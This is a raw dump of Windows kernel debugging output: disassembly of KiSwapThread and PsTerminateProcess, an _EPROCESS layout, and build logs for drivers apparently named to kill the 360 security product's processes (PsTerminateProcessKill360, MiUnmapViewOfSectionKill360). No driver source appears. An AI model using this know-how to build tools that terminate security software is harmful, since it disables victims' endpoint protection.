83e974c1 57              push    edi

83e974c2 e8a74d0600      call    nt!KiEndCounterAccumulation (83efc26e)

83e974c7 8b44241c        mov     eax,dword ptr [esp+1Ch]

83e974cb 899ef8310000    mov     dword ptr [esi+31F8h],ebx

83e974d1 8986fc310000    mov     dword ptr [esi+31FCh],eax

83e974d7 fb              sti

83e974d8 8d9e1c190000    lea     ebx,[esi+191Ch]

83e974de 33ff            xor     edi,edi

83e974e0 eb22            jmp     nt!KiSwapThread+0xcd (83e97504)

83e974e2 47              inc     edi

83e974e3 853d7c3af883    test    dword ptr [nt!HvlLongSpinCountMask (83f83a7c)],edi

83e974e9 7511            jne     nt!KiSwapThread+0xc5 (83e974fc)

83e974eb f605783af88340  test    byte ptr [nt!HvlEnlightenments (83f83a78)],40h

83e974f2 7408            je      nt!KiSwapThread+0xc5 (83e974fc)

83e974f4 57              push    edi

83e974f5 e845a00500      call    nt!HvlNotifyLongSpinWait (83ef153f)

83e974fa eb02            jmp     nt!KiSwapThread+0xc7 (83e974fe)

83e974fc f390            pause

83e974fe 8b03            mov     eax,dword ptr [ebx]

83e97500 85c0            test    eax,eax

83e97502 75de            jne     nt!KiSwapThread+0xab (83e974e2)

83e97504 33c0            xor     eax,eax

83e97506 8bcb            mov     ecx,ebx

83e97508 40              inc     eax

83e97509 8701            xchg    eax,dword ptr [ecx]

83e9750b 85c0            test    eax,eax

83e9750d 75d3            jne     nt!KiSwapThread+0xab (83e974e2)

83e9750f 50              push    eax

83e97510 8bc6            mov     eax,esi

83e97512 e82a030000      call    nt!KiSearchForNewThread (83e97841)

83e97517 85c0            test    eax,eax

83e97519 7548            jne     nt!KiSwapThread+0x12c (83e97563)

83e9751b 33ff            xor     edi,edi

83e9751d eb22            jmp     nt!KiSwapThread+0x10a (83e97541)

83e9751f 47              inc     edi

83e97520 853d7c3af883    test    dword ptr [nt!HvlLongSpinCountMask (83f83a7c)],edi

83e97526 7511            jne     nt!KiSwapThread+0x102 (83e97539)

83e97528 f605783af88340  test    byte ptr [nt!HvlEnlightenments (83f83a78)],40h

83e9752f 7408            je      nt!KiSwapThread+0x102 (83e97539)

83e97531 57              push    edi

83e97532 e808a00500      call    nt!HvlNotifyLongSpinWait (83ef153f)

83e97537 eb02            jmp     nt!KiSwapThread+0x104 (83e9753b)

83e97539 f390            pause

83e9753b 8b03            mov     eax,dword ptr [ebx]

83e9753d 85c0            test    eax,eax

83e9753f 75de            jne     nt!KiSwapThread+0xe8 (83e9751f)

83e97541 33c0            xor     eax,eax

83e97543 8bcb            mov     ecx,ebx

83e97545 40              inc     eax

83e97546 8701            xchg    eax,dword ptr [ecx]

83e97548 85c0            test    eax,eax

83e9754a 75d3            jne     nt!KiSwapThread+0xe8 (83e9751f)

83e9754c 8b4608          mov     eax,dword ptr [esi+8]

83e9754f 85c0            test    eax,eax

83e97551 7406            je      nt!KiSwapThread+0x122 (83e97559)

83e97553 83660800        and     dword ptr [esi+8],0

83e97557 eb03            jmp     nt!KiSwapThread+0x125 (83e9755c)

83e97559 8b460c          mov     eax,dword ptr [esi+0Ch]

83e9755c 894604          mov     dword ptr [esi+4],eax

83e9755f c6406802        mov     byte ptr [eax+68h],2

83e97563 8b7c2414        mov     edi,dword ptr [esp+14h]

83e97567 3b460c          cmp     eax,dword ptr [esi+0Ch]

83e9756a 741c            je      nt!KiSwapThread+0x151 (83e97588)

83e9756c 3bc7            cmp     eax,edi

83e9756e 7418            je      nt!KiSwapThread+0x151 (83e97588)

83e97570 8a4839          mov     cl,byte ptr [eax+39h]

83e97573 84c9            test    cl,cl

83e97575 7411            je      nt!KiSwapThread+0x151 (83e97588)

83e97577 c6406803        mov     byte ptr [eax+68h],3

83e9757b 894608          mov     dword ptr [esi+8],eax

83e9757e 8b460c          mov     eax,dword ptr [esi+0Ch]

83e97581 c6406802        mov     byte ptr [eax+68h],2

83e97585 894604          mov     dword ptr [esi+4],eax

83e97588 33c9            xor     ecx,ecx

83e9758a f0210b          lock and dword ptr [ebx],ecx

83e9758d 8a4f6a          mov     cl,byte ptr [edi+6Ah]

83e97590 884c2413        mov     byte ptr [esp+13h],cl

83e97594 3bf8            cmp     edi,eax

83e97596 0f85f8000000    jne     nt!KiSwapThread+0x25d (83e97694)

83e9759c 80785500        cmp     byte ptr [eax+55h],0

83e975a0 7413            je      nt!KiSwapThread+0x17e (83e975b5)

83e975a2 6683b88600000000 cmp     word ptr [eax+86h],0

83e975aa 7509            jne     nt!KiSwapThread+0x17e (83e975b5)

83e975ac c644241201      mov     byte ptr [esp+12h],1

83e975b1 84c9            test    cl,cl

83e975b3 7405            je      nt!KiSwapThread+0x183 (83e975ba)

83e975b5 c644241200      mov     byte ptr [esp+12h],0

83e975ba fa              cli

83e975bb 8b4604          mov     eax,dword ptr [esi+4]

83e975be 89442418        mov     dword ptr [esp+18h],eax

83e975c2 0f31            rdtsc

83e975c4 8bda            mov     ebx,edx

83e975c6 8bd0            mov     edx,eax

83e975c8 2b96f8310000    sub     edx,dword ptr [esi+31F8h]

83e975ce 89442420        mov     dword ptr [esp+20h],eax

83e975d2 8d8e00320000    lea     ecx,[esi+3200h]

83e975d8 8b01            mov     eax,dword ptr [ecx]

83e975da 8b7904          mov     edi,dword ptr [ecx+4]

83e975dd 895c2424        mov     dword ptr [esp+24h],ebx

83e975e1 1b9efc310000    sbb     ebx,dword ptr [esi+31FCh]

83e975e7 03c2            add     eax,edx

83e975e9 13fb            adc     edi,ebx

83e975eb 89be08320000    mov     dword ptr [esi+3208h],edi

83e975f1 8901            mov     dword ptr [ecx],eax

83e975f3 8b442420        mov     eax,dword ptr [esp+20h]

83e975f7 897904          mov     dword ptr [ecx+4],edi

83e975fa 8986f8310000    mov     dword ptr [esi+31F8h],eax

83e97600 8b442424        mov     eax,dword ptr [esp+24h]

83e97604 8986fc310000    mov     dword ptr [esi+31FCh],eax

83e9760a 8b442418        mov     eax,dword ptr [esp+18h]

83e9760e f6400204        test    byte ptr [eax+2],4

83e97612 7408            je      nt!KiSwapThread+0x1e5 (83e9761c)

83e97614 6a00            push    0

83e97616 50              push    eax

83e97617 e88b4b0600      call    nt!KiBeginCounterAccumulation (83efc1a7)

83e9761c c6461100        mov     byte ptr [esi+11h],0

83e97620 fb              sti

83e97621 f6050409f58304  test    byte ptr [nt!PerfGlobalGroupMask+0x4 (83f50904)],4

83e97628 740b            je      nt!KiSwapThread+0x1fe (83e97635)

83e9762a 8b4c2414        mov     ecx,dword ptr [esp+14h]

83e9762e 8bd1            mov     edx,ecx

83e97630 e89ffcf8ff      call    nt!EtwTraceContextSwap (83e272d4)

83e97635 8b7c2414        mov     edi,dword ptr [esp+14h]

83e97639 8b5f6c          mov     ebx,dword ptr [edi+6Ch]

83e9763c 0fba773c0c      btr     dword ptr [edi+3Ch],0Ch

83e97641 7327            jae     nt!KiSwapThread+0x233 (83e9766a)

83e97643 6a01            push    1

83e97645 8d8790000000    lea     eax,[edi+90h]

83e9764b e858000000      call    nt!KiCancelTimer (83e976a8)

83e97650 84c0            test    al,al

83e97652 7516            jne     nt!KiSwapThread+0x233 (83e9766a)

83e97654 8d8708010000    lea     eax,[edi+108h]

83e9765a c6401702        mov     byte ptr [eax+17h],2

83e9765e 898798000000    mov     dword ptr [edi+98h],eax

83e97664 89879c000000    mov     dword ptr [edi+9Ch],eax

83e9766a 807c241200      cmp     byte ptr [esp+12h],0

83e9766f 8b3558a1e183    mov     esi,dword ptr [nt!_imp_KfLowerIrql (83e1a158)]

83e97675 740e            je      nt!KiSwapThread+0x24e (83e97685)

83e97677 b101            mov     cl,1

83e97679 ffd6            call    esi

83e9767b 33c0            xor     eax,eax

83e9767d 50              push    eax

83e9767e 50              push    eax

83e9767f 50              push    eax

83e97680 e8b02f0300      call    nt!KiDeliverApc (83eca635)

83e97685 8a4c2413        mov     cl,byte ptr [esp+13h]

83e97689 ffd6            call    esi

83e9768b 5f              pop     edi

83e9768c 5e              pop     esi

83e9768d 8bc3            mov     eax,ebx

83e9768f 5b              pop     ebx

83e97690 8be5            mov     esp,ebp

83e97692 5d              pop     ebp

83e97693 c3              ret

83e97694 8bd0            mov     edx,eax

83e97696 8bcf            mov     ecx,edi

83e97698 e8a390ffff      call    nt!KiSwapContext (83e90740)

83e9769d 88442412        mov     byte ptr [esp+12h],al

83e976a1 eb96            jmp     nt!KiSwapThread+0x202 (83e97639)

83e976a3 90              nop

kd> u PspTerminateProcess  

Couldn't resolve error at 'PspTerminateProcess'  



-----------------------------------------------------------------------------------------------XP

lkd> u psterminateprocess

nt!PsTerminateProcess:

805c9a54 8bff            mov     edi,edi

805c9a56 55              push    ebp

805c9a57 8bec            mov     ebp,esp

805c9a59 5d              pop     ebp

805c9a5a e9b5feffff      jmp     nt!PspTerminateProcess (805c9914)

lkd> u PspTerminateProcess l50

nt!PspTerminateProcess:

805c9914 8bff            mov     edi,edi

805c9916 55              push    ebp

805c9917 8bec            mov     ebp,esp

805c9919 56              push    esi

805c991a 64a124010000    mov     eax,dword ptr fs:[00000124h]

805c9920 8b7508          mov     esi,dword ptr [ebp+8]

805c9923 3b7044          cmp     esi,dword ptr [eax+44h]

805c9926 7507            jne     nt!PspTerminateProcess+0x1b (805c992f)

805c9928 b80d0000c0      mov     eax,0C000000Dh

805c992d eb5a            jmp     nt!PspTerminateProcess+0x75 (805c9989)

805c992f 57              push    edi

805c9930 8dbe48020000    lea     edi,[esi+248h]

805c9936 f6470120        test    byte ptr [edi+1],20h

805c993a 7412            je      nt!PspTerminateProcess+0x3a (805c994e)

805c993c 8d8674010000    lea     eax,[esi+174h]

805c9942 50              push    eax

805c9943 56              push    esi

805c9944 68e6985c80      push    offset nt!NtTerminateProcess+0x14c (805c98e6)

805c9949 e82eeeffff      call    nt!PspCatchCriticalBreak (805c877c)

805c994e 6a08            push    8

805c9950 58              pop     eax

805c9951 f00907          lock or dword ptr [edi],eax

805c9954 6a00            push    0

805c9956 56              push    esi

805c9957 e808570000      call    nt!PsGetNextProcessThread (805cf064)

805c995c 8bf8            mov     edi,eax

805c995e 85ff            test    edi,edi

805c9960 741e            je      nt!PspTerminateProcess+0x6c (805c9980)

805c9962 ff750c          push    dword ptr [ebp+0Ch]

805c9965 57              push    edi

805c9966 e807fdffff      call    nt!PspTerminateThreadByPointer (805c9672)

805c996b 57              push    edi

805c996c 56              push    esi

805c996d e8f2560000      call    nt!PsGetNextProcessThread (805cf064)

805c9972 8bf8            mov     edi,eax

805c9974 85ff            test    edi,edi

805c9976 75ea            jne     nt!PspTerminateProcess+0x4e (805c9962)

805c9978 3986bc000000    cmp     dword ptr [esi+0BCh],eax

805c997e 7406            je      nt!PspTerminateProcess+0x72 (805c9986)

805c9980 56              push    esi

805c9981 e8b4fcfeff      call    nt!ObClearProcessHandleTable (805b963a)

805c9986 33c0            xor     eax,eax

805c9988 5f              pop     edi

805c9989 5e              pop     esi

805c998a 5d              pop     ebp

805c998b c20800          ret     8

---------------------------------------------------------------------------------------------x64

kd> u psterminateprocess

nt!PsTerminateProcess:

fffff800`01c93120 48895c2408      mov     qword ptr [rsp+8],rbx

fffff800`01c93125 4889742410      mov     qword ptr [rsp+10h],rsi

fffff800`01c9312a 57              push    rdi

fffff800`01c9312b 4883ec20        sub     rsp,20h

fffff800`01c9312f 65488b1c2588010000 mov   rbx,qword ptr gs:[188h]

fffff800`01c93138 4c8bd1          mov     r10,rcx

fffff800`01c9313b be01000000      mov     esi,1

fffff800`01c93140 66ff8bc4010000  dec     word ptr [rbx+1C4h]



kd> u pspterminateprocess

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kdbazis.dll - 

Couldn't resolve error at 'pspterminateprocess'



kd> u zwterminateprocess

nt!ZwTerminateProcess:

fffff800`018d6160 488bc4          mov     rax,rsp

fffff800`018d6163 fa              cli

fffff800`018d6164 4883ec10        sub     rsp,10h

fffff800`018d6168 50              push    rax

fffff800`018d6169 9c              pushfq

fffff800`018d616a 6a10            push    10h

fffff800`018d616c 488d05fd2c0000  lea     rax,[nt!KiServiceLinkage (fffff800`018d8e70)]

fffff800`018d6173 50              push    rax



kd> dt nt!_EPROCESS

   +0x000 Pcb              : _KPROCESS

   +0x160 ProcessLock      : _EX_PUSH_LOCK

   +0x168 CreateTime       : _LARGE_INTEGER

   +0x170 ExitTime         : _LARGE_INTEGER

   +0x178 RundownProtect   : _EX_RUNDOWN_REF

   +0x180 UniqueProcessId  : Ptr64 Void

   +0x188 ActiveProcessLinks : _LIST_ENTRY

   +0x198 ProcessQuotaUsage : [2] Uint8B

   +0x1a8 ProcessQuotaPeak : [2] Uint8B

   +0x1b8 CommitCharge     : Uint8B

   +0x1c0 QuotaBlock       : Ptr64 _EPROCESS_QUOTA_BLOCK

   +0x1c8 CpuQuotaBlock    : Ptr64 _PS_CPU_QUOTA_BLOCK

   +0x1d0 PeakVirtualSize  : Uint8B

   +0x1d8 VirtualSize      : Uint8B

   +0x1e0 SessionProcessLinks : _LIST_ENTRY

   +0x1f0 DebugPort        : Ptr64 Void

   +0x1f8 ExceptionPortData : Ptr64 Void

   +0x1f8 ExceptionPortValue : Uint8B

   +0x1f8 ExceptionPortState : Pos 0, 3 Bits

   +0x200 ObjectTable      : Ptr64 _HANDLE_TABLE

   +0x208 Token            : _EX_FAST_REF

   +0x210 WorkingSetPage   : Uint8B

   +0x218 AddressCreationLock : _EX_PUSH_LOCK

   +0x220 RotateInProgress : Ptr64 _ETHREAD

   +0x228 ForkInProgress   : Ptr64 _ETHREAD

   +0x230 HardwareTrigger  : Uint8B

   +0x238 PhysicalVadRoot  : Ptr64 _MM_AVL_TABLE

   +0x240 CloneRoot        : Ptr64 Void

   +0x248 NumberOfPrivatePages : Uint8B

   +0x250 NumberOfLockedPages : Uint8B

   +0x258 Win32Process     : Ptr64 Void

   +0x260 Job              : Ptr64 _EJOB

   +0x268 SectionObject    : Ptr64 Void

   +0x270 SectionBaseAddress : Ptr64 Void

   +0x278 Cookie           : Uint4B

   +0x27c UmsScheduledThreads : Uint4B

   +0x280 WorkingSetWatch  : Ptr64 _PAGEFAULT_HISTORY

   +0x288 Win32WindowStation : Ptr64 Void

   +0x290 InheritedFromUniqueProcessId : Ptr64 Void

   +0x298 LdtInformation   : Ptr64 Void

   +0x2a0 Spare            : Ptr64 Void

   +0x2a8 ConsoleHostProcess : Uint8B

   +0x2b0 DeviceMap        : Ptr64 Void

   +0x2b8 EtwDataSource    : Ptr64 Void

   +0x2c0 FreeTebHint      : Ptr64 Void

   +0x2c8 FreeUmsTebHint   : Ptr64 Void

   +0x2d0 PageDirectoryPte : _HARDWARE_PTE

   +0x2d0 Filler           : Uint8B

   +0x2d8 Session          : Ptr64 Void

   +0x2e0 ImageFileName    : [15] UChar

   +0x2ef PriorityClass    : UChar

   +0x2f0 JobLinks         : _LIST_ENTRY

   +0x300 LockedPagesList  : Ptr64 Void

   +0x308 ThreadListHead   : _LIST_ENTRY

   +0x318 SecurityPort     : Ptr64 Void

   +0x320 Wow64Process     : Ptr64 Void

   +0x328 ActiveThreads    : Uint4B

   +0x32c ImagePathHash    : Uint4B

   +0x330 DefaultHardErrorProcessing : Uint4B

   +0x334 LastThreadExitStatus : Int4B

   +0x338 Peb              : Ptr64 _PEB

   +0x340 PrefetchTrace    : _EX_FAST_REF

   +0x348 ReadOperationCount : _LARGE_INTEGER

   +0x350 WriteOperationCount : _LARGE_INTEGER

   +0x358 OtherOperationCount : _LARGE_INTEGER

   +0x360 ReadTransferCount : _LARGE_INTEGER

   +0x368 WriteTransferCount : _LARGE_INTEGER

   +0x370 OtherTransferCount : _LARGE_INTEGER

   +0x378 CommitChargeLimit : Uint8B

   +0x380 CommitChargePeak : Uint8B

   +0x388 AweInfo          : Ptr64 Void

   +0x390 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO

   +0x398 Vm               : _MMSUPPORT

   +0x420 MmProcessLinks   : _LIST_ENTRY

   +0x430 HighestUserAddress : Ptr64 Void

   +0x438 ModifiedPageCount : Uint4B

   +0x43c Flags2           : Uint4B

   +0x43c JobNotReallyActive : Pos 0, 1 Bit

   +0x43c AccountingFolded : Pos 1, 1 Bit

   +0x43c NewProcessReported : Pos 2, 1 Bit

   +0x43c ExitProcessReported : Pos 3, 1 Bit

   +0x43c ReportCommitChanges : Pos 4, 1 Bit

   +0x43c LastReportMemory : Pos 5, 1 Bit

   +0x43c ReportPhysicalPageChanges : Pos 6, 1 Bit

   +0x43c HandleTableRundown : Pos 7, 1 Bit

   +0x43c NeedsHandleRundown : Pos 8, 1 Bit

   +0x43c RefTraceEnabled  : Pos 9, 1 Bit

   +0x43c NumaAware        : Pos 10, 1 Bit

   +0x43c ProtectedProcess : Pos 11, 1 Bit

   +0x43c DefaultPagePriority : Pos 12, 3 Bits

   +0x43c PrimaryTokenFrozen : Pos 15, 1 Bit

   +0x43c ProcessVerifierTarget : Pos 16, 1 Bit

   +0x43c StackRandomizationDisabled : Pos 17, 1 Bit

   +0x43c AffinityPermanent : Pos 18, 1 Bit

   +0x43c AffinityUpdateEnable : Pos 19, 1 Bit

   +0x43c PropagateNode    : Pos 20, 1 Bit

   +0x43c ExplicitAffinity : Pos 21, 1 Bit

   +0x440 Flags            : Uint4B

   +0x440 CreateReported   : Pos 0, 1 Bit

   +0x440 NoDebugInherit   : Pos 1, 1 Bit

   +0x440 ProcessExiting   : Pos 2, 1 Bit

   +0x440 ProcessDelete    : Pos 3, 1 Bit

   +0x440 Wow64SplitPages  : Pos 4, 1 Bit

   +0x440 VmDeleted        : Pos 5, 1 Bit

   +0x440 OutswapEnabled   : Pos 6, 1 Bit

   +0x440 Outswapped       : Pos 7, 1 Bit

   +0x440 ForkFailed       : Pos 8, 1 Bit

   +0x440 Wow64VaSpace4Gb  : Pos 9, 1 Bit

   +0x440 AddressSpaceInitialized : Pos 10, 2 Bits

   +0x440 SetTimerResolution : Pos 12, 1 Bit

   +0x440 BreakOnTermination : Pos 13, 1 Bit

   +0x440 DeprioritizeViews : Pos 14, 1 Bit

   +0x440 WriteWatch       : Pos 15, 1 Bit

   +0x440 ProcessInSession : Pos 16, 1 Bit

   +0x440 OverrideAddressSpace : Pos 17, 1 Bit

   +0x440 HasAddressSpace  : Pos 18, 1 Bit

   +0x440 LaunchPrefetched : Pos 19, 1 Bit

   +0x440 InjectInpageErrors : Pos 20, 1 Bit

   +0x440 VmTopDown        : Pos 21, 1 Bit

   +0x440 ImageNotifyDone  : Pos 22, 1 Bit

   +0x440 PdeUpdateNeeded  : Pos 23, 1 Bit

   +0x440 VdmAllowed       : Pos 24, 1 Bit

   +0x440 CrossSessionCreate : Pos 25, 1 Bit

   +0x440 ProcessInserted  : Pos 26, 1 Bit

   +0x440 DefaultIoPriority : Pos 27, 3 Bits

   +0x440 ProcessSelfDelete : Pos 30, 1 Bit

   +0x440 SetTimerResolutionLink : Pos 31, 1 Bit

   +0x444 ExitStatus       : Int4B

   +0x448 VadRoot          : _MM_AVL_TABLE

   +0x488 AlpcContext      : _ALPC_PROCESS_CONTEXT

   +0x4a8 TimerResolutionLink : _LIST_ENTRY

   +0x4b8 RequestedTimerResolution : Uint4B

   +0x4bc ActiveThreadsHighWatermark : Uint4B

   +0x4c0 SmallestTimerResolution : Uint4B

   +0x4c8 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD










Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/objchk_win7_x86/i386/miunmapviewofsectionkill360.obj





Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/objchk_win7_amd64/amd64/psterminateprocesskill360.obj

0.020707482






Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/objchk_win7_x86/i386/psterminateprocesskill360.obj





Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/objchk_win7_x86/i386/MiUnmapViewOfSectionKill360.pdb





Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/objchk_win7_amd64/amd64/PsTerminateProcessKill360.pdb





Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/objchk_win7_x86/i386/PsTerminateProcessKill360.pdb





Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/objchk_win7_amd64/amd64/vc90.pdb





Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/objchk_win7_x86/i386/vc90.pdb





Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/objchk_win7_x86/i386/vc90.pdb





Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/buildchk_win7_amd64.err

0>Bad Path string: L'c:\ F '



0>Bad Path string: L'c:\ F '










Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/buildchk_win7_x86.err

0>Bad Path string: L'd:\ F '










Windows7 x64/PsTerminateProcessKill360 x64/PsTerminateProcessKill360/buildchk_win7_amd64.log

0>Bad Path string: L'c:\ F '



0>Bad Path string: L'c:\ F '



BUILD: Computing Include file dependencies:

BUILD: Examining c:\oacr invalidate root:amd64chk /autocleanqueue

1>Compiling and Linking c:\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='

1>c:\1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrcl @c:\1>Microsoft (R) C/C++ Optimizing Compiler Version 15.00.30729.207 for x64

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>cl /Fo"c:\1> /FC

1> /Iamd64\

1> /I.

1> /Ic:\1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\crt

1> /D_WIN64

1> /D_AMD64_

1> /DAMD64

1> /DCONDITION_HANDLING=1

1> /DNT_UP=1

1> /DNT_INST=0

1> /DWIN32=100

1> /D_NT1X_=100

1> /DWINNT=1

1> /D_WIN32_WINNT=0x0601

1> /DWINVER=0x0601

1> /D_WIN32_IE=0x0800

1> /DWIN32_LEAN_AND_MEAN=1

1> /DDEVL=1

1> /DDBG=1

1> /D__BUILDMACHINE__=WinDDK

1> /D_DLL=1

1> /DNDEBUG

1> /DDEPRECATE_DDK_FUNCTIONS=1

1> /DMSC_NOOPT

1> /DNTDDI_VERSION=0x06010000

1> /c

1> /Zc:wchar_t-

1> /Zl

1> /Zp8

1> /Gy

1> -cbstring

1> /W3

1> /EHs-c-

1> /GR-

1> /GF

1> /GS

1> /Zi

1> /Od

1> /Oi

1> /GL

1> /Zi

1> /Fdc:\1> /DKMDF_MAJOR_VERSION_STRING=01

1> /DKMDF_MINOR_VERSION_STRING=009

1> /typedil-

1> /wd4603

1> /wd4627

1> /homeparams

1> /FIC:\WinDDK\7600.16385.1\inc\api\warning.h

1> .\psterminateprocesskill360.c 

1>psterminateprocesskill360.c

1>c:\1>warnings in directory c:\1>c:\1>c:\1>c:\1>c:\1>c:\1>c:\1> C:\WinDDK\7600.16385.1\Bin\amd64\oacr\oacrlink /out:c:\1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 

1>/functionpadmin:6 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry 

1>/out:c:\1>c:\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 

1>psterminateprocesskill360.obj : MSIL .netmodule or module compiled with /GL found; restarting link with /LTCG; add /LTCG to the link command line to improve linker performance

1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221,4108,4088,4218,4218,4235 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hotpatch.obj 

1>/functionpadmin:6 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry 

1>/out:c:\1>c:\1>C:\WinDDK\7600.16385.1\lib\win7\amd64\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\amd64\wmilib.lib 

1>Generating code

1>Finished generating code








Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/buildchk_win7_x86.log

BUILD: corrupt database (Directory error)

BUILD: Computing Include file dependencies:

BUILD: Examining d:\oacr invalidate root:x86chk /autocleanqueue

1>Compiling and Linking d:\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='

1>d:\






Windows7 x86/MiUnmapViewOfSectionKill360/MiUnmapViewOfSectionKill360/buildchk_win7_x86.log

BUILD: corrupt database (Directory error)

BUILD: Computing Include file dependencies:

BUILD: Examining d:\oacr invalidate root:x86chk /autocleanqueue

1>Compiling and Linking d:\1>'nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKEDIR_RELATIVE_TO_BASEDIR='

1>d:\1> C:\WinDDK\7600.16385.1\Bin\x86\oacr\oacrcl @d:\1>Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 15.00.30729.207 for 80x86

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>cl /Fo"d:\1> /FC

1> /Ii386

1> /I.

1> /Id:\1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\api

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\ddk

1> /IC:\WinDDK\7600.16385.1\inc\crt

1> /D_X86_=1

1> /Di386=1

1> /DSTD_CALL

1> /DCONDITION_HANDLING=1

1> /DNT_UP=1

1> /DNT_INST=0

1> /DWIN32=100

1> /D_NT1X_=100

1> /DWINNT=1

1> /D_WIN32_WINNT=0x0601

1> /DWINVER=0x0601

1> /D_WIN32_IE=0x0800

1> /DWIN32_LEAN_AND_MEAN=1

1> /DDEVL=1

1> /DDBG=1

1> /D__BUILDMACHINE__=WinDDK

1> /DFPO=0

1> /D_DLL=1

1> /DNDEBUG

1> /DDEPRECATE_DDK_FUNCTIONS=1

1> /DMSC_NOOPT

1> /DNTDDI_VERSION=0x06010000

1> /c

1> /Zc:wchar_t-

1> /Zl

1> /Zp8

1> /Gy

1> /Gm-

1> -cbstring

1> /W3

1> /Gz

1> /hotpatch

1> /EHs-c-

1> /GR-

1> /GF

1> /GS

1> /Zi

1> /Od

1> /Oi

1> /Oy-

1> /Zi

1> /Fdd:\1> /DKMDF_MAJOR_VERSION_STRING=01

1> /DKMDF_MINOR_VERSION_STRING=009

1> /wd4603

1> /wd4627

1> /typedil-

1> /FIC:\WinDDK\7600.16385.1\inc\api\warning.h

1> .\miunmapviewofsectionkill360.c 

1>miunmapviewofsectionkill360.c

1>d:\1>warnings in directory d:\1>d:\1>d:\1>d:\1>d:\1> C:\WinDDK\7600.16385.1\Bin\x86\oacr\oacrlink /out:d:\1>Microsoft (R) Incremental Linker Version 9.00.30729.207

1>Copyright (C) Microsoft Corporation.  All rights reserved.

1>/MERGE:_PAGE=PAGE 

1>/MERGE:_TEXT=.text 

1>/SECTION:INIT,d 

1>/OPT:REF 

1>/OPT:ICF 

1>/IGNORE:4198,4010,4037,4039,4065,4070,4078,4087,4089,4221 

1>/INCREMENTAL:NO 

1>/release 

1>/NODEFAULTLIB 

1>/WX 

1>/debug 

1>/debugtype:cv,fixup,pdata 

1>/version:6.1 

1>/osversion:6.1 

1>/functionpadmin:5 

1>/safeseh 

1>/pdbcompress 

1>/STACK:0x40000,0x1000 

1>/driver 

1>/base:0x10000 

1>/subsystem:native,6.01 

1>/entry:GsDriverEntry@8 

1>/out:d:\1>d:\1>C:\WinDDK\7600.16385.1\lib\win7\i386\BufferOverflowK.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\ntoskrnl.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\hal.lib 

1>C:\WinDDK\7600.16385.1\lib\win7\i386\wmilib.lib 








Windows7 x86/PsTerminateProcessKill360/PsTerminateProcessKill360/objchk_win7_x86/i386/_objects.mac





386_OBJECTS=\

 $(OBJ_PATH)\$O\psterminateprocesskill360.obj \











# lowercased

